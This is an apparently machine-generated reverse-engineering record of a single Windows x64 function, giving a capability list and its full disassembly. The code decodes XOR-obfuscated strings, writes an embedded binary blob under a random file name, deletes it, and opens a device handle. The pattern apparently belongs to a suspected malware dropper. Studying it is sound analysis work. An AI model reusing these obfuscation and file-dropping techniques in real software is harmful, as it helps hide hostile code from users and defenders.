Function at 0x140052c20
Capabilities:
Authenticate hmac
Delete file
Encode data using base64
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x1400af040]
xor rax, rsp
mov qword [rbp + 0xf0], rax
movups xmm0, xmmword [0x14009c1e0]
movups xmmword [rsp + 0x40], xmm0
mov ebx, 0x5c
pextrw eax, xmm0, 7
test ax, ax
je 0x140052ca2
mov word [rsp + 0x40], bx
xor word [rsp + 0x42], 0x32
xor word [rsp + 0x44], 0x33
xor word [rsp + 0x46], 0x34
xor word [rsp + 0x48], 0x35
xor word [rsp + 0x4a], 0x36
xor word [rsp + 0x4c], 0x37
xor word [rsp + 0x4e], 0x38
xor r15d, r15d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140052ce9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [r15 - 1]
jmp 0x1400532f7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x1400b1010], xmm0
movups xmmword [0x1400b1020], xmm0
movups xmmword [0x1400b1030], xmm0
movups xmmword [0x1400b1040], xmm0
movups xmmword [0x1400b1050], xmm0
movups xmmword [0x1400b1060], xmm0
mov dword [0x1400b1070], eax
movups xmm0, xmmword [str.PPPPPPPPPPPPPPP00000000000_n]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14009c218]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14009c228]
movups xmmword [rsp + 0x70], xmm0
mov ecx, dword [0x14009c238]
mov dword [rbp - 0x80], ecx
movzx edx, byte [0x14009c23c]
mov byte [rsp + 0x50], 0x61
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor byte [rsp + 0x54], 0x35
xor byte [rsp + 0x55], 0x36
xor byte [rsp + 0x56], 0x37
xor byte [rsp + 0x57], 0x38
xor byte [rsp + 0x58], 0x39
xor byte [rsp + 0x59], 0x3a
xor byte [rsp + 0x5a], 0x3b
xor byte [rsp + 0x5b], 0x3c
xor byte [rsp + 0x5c], 0x3d
xor byte [rsp + 0x5d], 0x3e
xor byte [rsp + 0x5e], 0x3f
xor byte [rsp + 0x5f], 0x40
movd eax, xmm1
xor al, 0x41
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], 0x42
xor byte [rsp + 0x62], 0x43
xor byte [rsp + 0x63], 0x44
xor byte [rsp + 0x64], 0x45
xor byte [rsp + 0x65], 0x46
xor byte [rsp + 0x66], 0x47
xor byte [rsp + 0x67], 0x48
xor byte [rsp + 0x68], 0x49
xor byte [rsp + 0x69], 0x4a
xor byte [rsp + 0x6a], 0x4b
xor byte [rsp + 0x6b], 0x4c
xor byte [rsp + 0x6c], 0x4d
xor byte [rsp + 0x6d], 0x4e
xor byte [rsp + 0x6e], 0x4f
xor byte [rsp + 0x6f], 0x50
movd eax, xmm0
xor al, 0x51
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], 0x52
xor byte [rsp + 0x72], 0x53
xor byte [rsp + 0x73], 0x54
xor byte [rsp + 0x74], 0x55
xor byte [rsp + 0x75], 0x56
xor byte [rsp + 0x76], 0x57
xor byte [rsp + 0x77], 0x58
xor byte [rsp + 0x78], 0x59
xor byte [rsp + 0x79], 0x5a
xor byte [rsp + 0x7a], 0x5b
xor byte [rsp + 0x7b], bl
xor byte [rsp + 0x7c], 0x5d
xor byte [rsp + 0x7d], 0x5e
xor byte [rsp + 0x7e], 0x5f
xor byte [rsp + 0x7f], 0x60
xor cl, 0x61
mov byte [rbp - 0x80], cl
xor byte [rbp - 0x7f], 0x62
xor byte [rbp - 0x7e], 0x63
xor byte [rbp - 0x7d], 0x31
xor dl, 0x32
mov byte [rbp - 0x7c], dl
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], r15
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x140052e80
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x48]
call fcn.14005b280
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
movsxd rsi, r8d
mov r14, qword [rbp - 0x30]
mov rdi, qword [rbp - 0x48]
test r8d, r8d
jle 0x140052f2b
mov rbx, r15
movabs r12, 0x842108421084211
lea r13, [0x1400b1010]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r12
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x1f
sub rcx, rax
lea rax, [rbp - 0x48]
cmp r14, 0xf
cmova rax, rdi
movzx eax, byte [rax + rcx]
mov byte [rbx + r13], al
inc rbx
cmp rbx, rsi
jl 0x140052ee4
mov ebx, 0x5c
lea rcx, [rbp - 0x68]
call fcn.1400528f0
nop
cmp qword [rbp - 0x58], 0
je 0x14005325f
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x20]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x20]
call fcn.140057c80
nop
mov r8d, 0x8708
lea rdx, [0x14008a030]
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
lea rcx, [rbp - 0x18]
test al, al
je 0x14005301e
call fcn.1400581a0
test rax, rax
jne 0x140052fd3
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.140057c10
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x88]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x14005325f
call fcn.1400581a0
test rax, rax
jne 0x140053045
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.140057c10
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x88]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 0x68]
call fcn.14005de80
test al, al
jne 0x1400530b1
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
jmp 0x14005325f
movups xmm0, xmmword [0x14009c1e0]
movups xmmword [rbp - 0x78], xmm0
pextrw eax, xmm0, 7
test ax, ax
je 0x1400530ed
mov word [rbp - 0x78], bx
xor word [rbp - 0x76], 0x32
xor word [rbp - 0x74], 0x33
xor word [rbp - 0x72], 0x34
xor word [rbp - 0x70], 0x35
xor word [rbp - 0x6e], 0x36
xor word [rbp - 0x6c], 0x37
xor word [rbp - 0x6a], 0x38
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140053257
movsd xmm0, qword [str._FGDYT]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009c280]
mov dword [rsp + 0x48], eax
movzx ecx, byte [0x14009c284]
mov byte [rsp + 0x40], WSAGetLastError
xor byte [rsp + 0x41], 0x32
xor byte [rsp + 0x42], 0x33
xor byte [rsp + 0x43], 0x34
xor byte [rsp + 0x44], 0x35
xor byte [rsp + 0x45], 0x36
xor byte [rsp + 0x46], 0x37
xor byte [rsp + 0x47], 0x38
xor al, 0x39
mov byte [rsp + 0x48], al
xor byte [rsp + 0x49], 0x3a
xor byte [rsp + 0x4a], 0x3b
xor byte [rsp + 0x4b], 0x3c
xor cl, 0x3d
mov byte [rsp + 0x4c], cl
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400531b0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.14005b280
nop
lea rcx, [rsp + 0x50]
call fcn.14005f150
mov qword [0x1400b1078], rax
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140053222
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140053216
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140053216
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007fc40
mov rax, qword [0x1400b1078]
mov rcx, rbx
test rax, rax
je 0x14005325a
call fcn.140055e00
mov rcx, rbx
test al, al
je 0x14005325a
call fcn.1400568b0
mov rcx, rbx
test al, al
je 0x14005325a
call fcn.140055020
mov rcx, rbx
test al, al
je 0x14005325a
call fcn.140053330
test al, al
jne 0x140053266
mov rcx, rbx
call fcn.140053990
mov rbx, 0xffffffffffffffff
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x1400532a9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400532a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400532a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007fc40
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r15w
cmp r14, 0xf
jbe 0x1400532f4
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400532ec
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400532ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14007fc40
mov rax, rbx
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.14007f7f0
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret